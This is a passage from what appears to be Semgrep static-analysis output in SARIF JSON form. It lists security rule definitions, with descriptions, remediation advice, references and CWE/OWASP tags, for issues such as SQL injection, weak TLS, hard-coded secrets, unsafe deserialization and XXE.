and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"helpUri":"https://semgrep.dev/r/php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query","id":"php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query","name":"php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"help":{"markdown":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version","id":"cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version","name":"cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret","id":"javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret","name":"javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password","id":"python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password","name":"python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The SoapFormatter type is dangerous and is not recommended for data processing. Applications should stop using SoapFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. SoapFormatter is insecure and can't be made secure"},"help":{"markdown":"The SoapFormatter type is dangerous and is not recommended for data processing. Applications should stop using SoapFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. SoapFormatter is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.soap.soapformatter?view=netframework-4.8#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.soap.soapformatter?view=netframework-4.8#remarks)\n","text":"The SoapFormatter type is dangerous and is not recommended for data processing. Applications should stop using SoapFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. SoapFormatter is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization","id":"csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization","name":"csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret","id":"python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret","name":"python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using the Django object-relational mappers (ORM) instead of raw SQL queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using the Django object-relational mappers (ORM) instead of raw SQL queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using the Django object-relational mappers (ORM) instead of raw SQL queries."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.tainted-sql-string.tainted-sql-string","id":"python.django.security.injection.tainted-sql-string.tainted-sql-string","name":"python.django.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Wildcard used in your SQS queue policy principal. This grants access to all users, including anonymous users (public access). Unless you explicitly require anyone on the internet to be able to read or write to your queue, limit principals, actions and resources to what you need according to least privilege."},"help":{"markdown":"Wildcard used in your SQS queue policy principal. This grants access to all users, including anonymous users (public access). Unless you explicitly require anyone on the internet to be able to read or write to your queue, limit principals, actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue_policy](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue_policy)\n - [https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-security-best-practices.html](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-security-best-practices.html)\n","text":"Wildcard used in your SQS queue policy principal. This grants access to all users, including anonymous users (public access). Unless you explicitly require anyone on the internet to be able to read or write to your queue, limit principals, actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal","id":"terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal","name":"terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push","id":"typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push","name":"typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlobject-connection-django.sqlobject-connection-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlobject-connection-django.sqlobject-connection-django","id":"python.django.db.sqlobject-connection-django.sqlobject-connection-django","name":"python.django.db.sqlobject-connection-django.sqlobject-connection-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlobject-connection-django.sqlobject-connection-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that groups of actions that include iam:PassRole and could result in privilege escalation are not all allowed for the same user. These actions could result in an attacker gaining full admin access of an AWS account. Try not to use these actions in conjuction."},"help":{"markdown":"Ensure that groups of actions that include iam:PassRole and could result in privilege escalation are not all allowed for the same user. These actions could result in an attacker gaining full admin access of an AWS account. Try not to use these actions in conjuction.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/](https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/)\n - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)\n","text":"Ensure that groups of actions that include iam:PassRole and could result in privilege escalation are not all allowed for the same user. These actions could result in an attacker gaining full admin access of an AWS account. Try not to use these actions in conjuction."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles","id":"terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles","name":"terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Artifactory token detected"},"help":{"markdown":"Artifactory token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-artifactory-password.detected-artifactory-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Artifactory token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-artifactory-password.detected-artifactory-password","id":"generic.secrets.security.detected-artifactory-password.detected-artifactory-password","name":"generic.secrets.security.detected-artifactory-password.detected-artifactory-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-artifactory-password.detected-artifactory-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"GCM detected, please check that IV/nonce is not reused, an Initialization Vector (IV) is a nonce used to randomize the encryption, so that even if multiple messages with identical plaintext are encrypted, the generated corresponding ciphertexts are different.Unlike the Key, the IV usually does not need to be secret, rather it is important that it is random and unique. Certain encryption schemes the IV is exchanged in public as part of the ciphertext. Reusing same Initialization Vector with the same Key to encrypt multiple plaintext blocks allows an attacker to compare the ciphertexts and then, with some assumptions on the content of the messages, to gain important information about the data being encrypted."},"help":{"markdown":"GCM detected, please check that IV/nonce is not reused, an Initialization Vector (IV) is a nonce used to randomize the encryption, so that even if multiple messages with identical plaintext are encrypted, the generated corresponding ciphertexts are different.Unlike the Key, the IV usually does not need to be secret, rather it is important that it is random and unique. Certain encryption schemes the IV is exchanged in public as part of the ciphertext. Reusing same Initialization Vector with the same Key to encrypt multiple plaintext blocks allows an attacker to compare the ciphertexts and then, with some assumptions on the content of the messages, to gain important information about the data being encrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.gcm-detection.gcm-detection)\n - [https://cwe.mitre.org/data/definitions/323.html](https://cwe.mitre.org/data/definitions/323.html)\n","text":"GCM detected, please check that IV/nonce is not reused, an Initialization Vector (IV) is a nonce used to randomize the encryption, so that even if multiple messages with identical plaintext are encrypted, the generated corresponding ciphertexts are different.Unlike the Key, the IV usually does not need to be secret, rather it is important that it is random and unique. Certain encryption schemes the IV is exchanged in public as part of the ciphertext. Reusing same Initialization Vector with the same Key to encrypt multiple plaintext blocks allows an attacker to compare the ciphertexts and then, with some assumptions on the content of the messages, to gain important information about the data being encrypted."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.gcm-detection.gcm-detection","id":"kotlin.lang.security.gcm-detection.gcm-detection","name":"kotlin.lang.security.gcm-detection.gcm-detection","properties":{"precision":"very-high","tags":["CWE-323: Reusing a Nonce, Key Pair in Encryption","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.gcm-detection.gcm-detection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for unsafe deserialization. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of load and object_load can cause remote code execution. Loading user input with MARSHAL or CSV can potentially be dangerous. Use JSON in a secure fashion instead."},"help":{"markdown":"Checks for unsafe deserialization. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of load and object_load can cause remote code execution. Loading user input with MARSHAL or CSV can potentially be dangerous. Use JSON in a secure fashion instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.bad-deserialization.bad-deserialization)\n - [https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ](https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb)\n","text":"Checks for unsafe deserialization. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of load and object_load can cause remote code execution. Loading user input with MARSHAL or CSV can potentially be dangerous. Use JSON in a secure fashion instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.bad-deserialization.bad-deserialization","id":"ruby.lang.security.bad-deserialization.bad-deserialization","name":"ruby.lang.security.bad-deserialization.bad-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.bad-deserialization.bad-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false","id":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false","name":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected public S3 bucket policy. This policy allows anyone to access certain properties of or items in the bucket. Do not do this unless you will never have sensitive data inside the bucket."},"help":{"markdown":"Detected public S3 bucket policy. This policy allows anyone to access certain properties of or items in the bucket. Do not do this unless you will never have sensitive data inside the bucket.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/json.aws.security.public-s3-policy-statement.public-s3-policy-statement)\n - [https://docs.aws.amazon.com/AmazonS3/latest/dev/WebsiteAccessPermissionsReqd.html](https://docs.aws.amazon.com/AmazonS3/latest/dev/WebsiteAccessPermissionsReqd.html)\n","text":"Detected public S3 bucket policy. This policy allows anyone to access certain properties of or items in the bucket. Do not do this unless you will never have sensitive data inside the bucket."},"helpUri":"https://semgrep.dev/r/json.aws.security.public-s3-policy-statement.public-s3-policy-statement","id":"json.aws.security.public-s3-policy-statement.public-s3-policy-statement","name":"json.aws.security.public-s3-policy-statement.public-s3-policy-statement","properties":{"precision":"very-high","tags":["CWE-264: CWE CATEGORY: Permissions, Privileges, and Access Controls","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: json.aws.security.public-s3-policy-statement.public-s3-policy-statement"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure CipherSuite via the 'tls' module. This suite is considered weak. Use the function 'tls.CipherSuites()' to get a list of good cipher suites. See https://golang.org/pkg/crypto/tls/#InsecureCipherSuites for why and what other cipher suites to use."},"help":{"markdown":"Detected an insecure CipherSuite via the 'tls' module. This suite is considered weak. Use the function 'tls.CipherSuites()' to get a list of good cipher suites. See https://golang.org/pkg/crypto/tls/#InsecureCipherSuites for why and what other cipher suites to use.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.tls.tls-with-insecure-cipher)\n - [https://golang.org/pkg/crypto/tls/#InsecureCipherSuites](https://golang.org/pkg/crypto/tls/#InsecureCipherSuites)\n","text":"Detected an insecure CipherSuite via the 'tls' module. This suite is considered weak. Use the function 'tls.CipherSuites()' to get a list of good cipher suites. See https://golang.org/pkg/crypto/tls/#InsecureCipherSuites for why and what other cipher suites to use."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.tls.tls-with-insecure-cipher","id":"go.lang.security.audit.crypto.tls.tls-with-insecure-cipher","name":"go.lang.security.audit.crypto.tls.tls-with-insecure-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.tls.tls-with-insecure-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://x-stream.github.io/security.html](https://x-stream.github.io/security.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization 